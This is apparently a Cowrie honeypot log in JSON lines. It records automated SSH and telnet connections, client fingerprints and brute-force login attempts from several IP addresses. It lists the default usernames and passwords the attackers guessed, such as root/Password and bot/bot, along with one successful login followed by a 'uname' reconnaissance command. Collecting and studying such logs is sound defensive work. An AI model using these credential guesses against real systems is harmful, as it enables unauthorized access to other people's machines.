{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:33:47.290952Z","src_ip":"83.168.110.85","session":"77a8b2bc4568","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":44518,"dst_ip":"10.17.0.5","dst_port":22,"session":"023e2fc220a6","protocol":"ssh","message":"New connection: 83.168.110.85:44518 (10.17.0.5:22) [session: 023e2fc220a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:33:52.234971Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:33:52.239375Z","src_ip":"83.168.110.85","session":"023e2fc220a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:33:52.359804Z","src_ip":"83.168.110.85","session":"023e2fc220a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ec2-user","password":"ec2-user","message":"login attempt [ec2-user/ec2-user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:33:52.723644Z","src_ip":"83.168.110.85","session":"023e2fc220a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:33:53.850810Z","src_ip":"83.168.110.85","session":"023e2fc220a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":44908,"dst_ip":"10.17.0.5","dst_port":22,"session":"a574e9e40fef","protocol":"ssh","message":"New connection: 103.27.238.114:44908 (10.17.0.5:22) [session: a574e9e40fef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:33:58.847464Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:33:58.856751Z","src_ip":"103.27.238.114","session":"a574e9e40fef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":45960,"dst_ip":"10.17.0.5","dst_port":22,"session":"a268a00ec8c9","protocol":"ssh","message":"New connection: 83.168.110.85:45960 (10.17.0.5:22) [session: a268a00ec8c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:33:58.976827Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:33:58.982181Z","src_ip":"83.168.110.85","session":"a268a00ec8c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:33:59.103828Z","src_ip":"83.168.110.85","session":"a268a00ec8c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:33:59.128782Z","src_ip":"103.27.238.114","session":"a574e9e40fef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password","message":"login attempt [root/Password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:33:59.687581Z","src_ip":"83.168.110.85","session":"a268a00ec8c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"01020304","message":"login attempt [root/01020304] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:33:59.943444Z","src_ip":"103.27.238.114","session":"a574e9e40fef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34578,"dst_ip":"10.17.0.5","dst_port":23,"session":"5063c9e8e8c5","protocol":"telnet","message":"New connection: 152.42.224.71:34578 (10.17.0.5:23) [session: 5063c9e8e8c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:34:00.023268Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:34:00.810073Z","src_ip":"83.168.110.85","session":"a268a00ec8c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:34:01.217211Z","src_ip":"103.27.238.114","session":"a574e9e40fef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.103.120.75","src_port":43828,"dst_ip":"10.17.0.5","dst_port":22,"session":"ffdea267ae3b","protocol":"ssh","message":"New connection: 14.103.120.75:43828 (10.17.0.5:22) [session: ffdea267ae3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:34:02.584592Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:34:02.589587Z","src_ip":"14.103.120.75","session":"ffdea267ae3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:34:02.823882Z","src_ip":"14.103.120.75","session":"ffdea267ae3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.148.108","src_port":35108,"dst_ip":"10.17.0.5","dst_port":22,"session":"345322967923","protocol":"ssh","message":"New connection: 176.65.148.108:35108 (10.17.0.5:22) [session: 345322967923]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:34:03.670601Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:34:03.679854Z","src_ip":"176.65.148.108","session":"345322967923","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"devdev","message":"login attempt [dev/devdev] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:34:03.735507Z","src_ip":"14.103.120.75","session":"ffdea267ae3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:34:03.763911Z","src_ip":"176.65.148.108","session":"345322967923","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:34:04.963311Z","src_ip":"14.103.120.75","session":"ffdea267ae3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":58656,"dst_ip":"10.17.0.5","dst_port":22,"session":"97a9666d6117","protocol":"ssh","message":"New connection: 83.168.110.85:58656 (10.17.0.5:22) [session: 97a9666d6117]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:34:06.084352Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:34:06.146219Z","src_ip":"83.168.110.85","session":"97a9666d6117","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:34:06.206343Z","src_ip":"83.168.110.85","session":"97a9666d6117","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"bot","password":"bot","message":"login attempt [bot/bot] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:34:06.682139Z","src_ip":"83.168.110.85","session":"97a9666d6117","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:34:06.964499Z","src_ip":"83.168.110.85","session":"97a9666d6117","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:34:06.967705Z","src_ip":"83.168.110.85","session":"97a9666d6117","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:34:07.091028Z","src_ip":"83.168.110.85","session":"97a9666d6117","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:34:07.096010Z","src_ip":"83.168.110.85","session":"97a9666d6117","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38448,"dst_ip":"10.17.0.5","dst_port":23,"session":"a5807f767888","protocol":"telnet","message":"New connection: 152.42.224.71:38448 (10.17.0.5:23) [session: a5807f767888]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:34:10.234713Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.183.114.55","src_port":44526,"dst_ip":"10.17.0.5","dst_port":22,"session":"739df202d737","protocol":"ssh","message":"New connection: 103.183.114.55:44526 (10.17.0.5:22) [session: 739df202d737]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:34:12.259801Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:34:12.264403Z","src_ip":"103.183.114.55","session":"739df202d737","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:34:12.489228Z","src_ip":"103.183.114.55","session":"739df202d737","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a838hfid","message":"login attempt [root/a838hfid] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:34:13.166601Z","src_ip":"103.183.114.55","session":"739df202d737","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":58670,"dst_ip":"10.17.0.5","dst_port":22,"session":"cd069e354f90","protocol":"ssh","message":"New connection: 83.168.110.85:58670 (10.17.0.5:22) [session: cd069e354f90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:34:13.420366Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:34:13.427734Z","src_ip":"83.168.110.85","session":"cd069e354f90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:34:13.549514Z","src_ip":"83.168.110.85","session":"cd069e354f90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"opc","password":"opc","message":"login attempt [opc/opc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:34:14.080900Z","src_ip":"83.168.110.85","session":"cd069e354f90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:34:14.393742Z","src_ip":"103.183.114.55","session":"739df202d737","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:34:15.254323Z","src_ip":"83.168.110.85","session":"cd069e354f90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42708,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc465e078f00","protocol":"telnet","message":"New connection: 152.42.224.71:42708 (10.17.0.5:23) [session: cc465e078f00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:34:17.218136Z"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":51526,"dst_ip":"10.17.0.5","dst_port":22,"session":"eec5c1f616a0","protocol":"ssh","message":"New connection: 83.168.110.85:51526 (10.17.0.5:22) [session: eec5c1f616a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:34:20.315875Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:34:20.320786Z","src_ip":"83.168.110.85","session":"eec5c1f616a0","protocol":"ssh"}
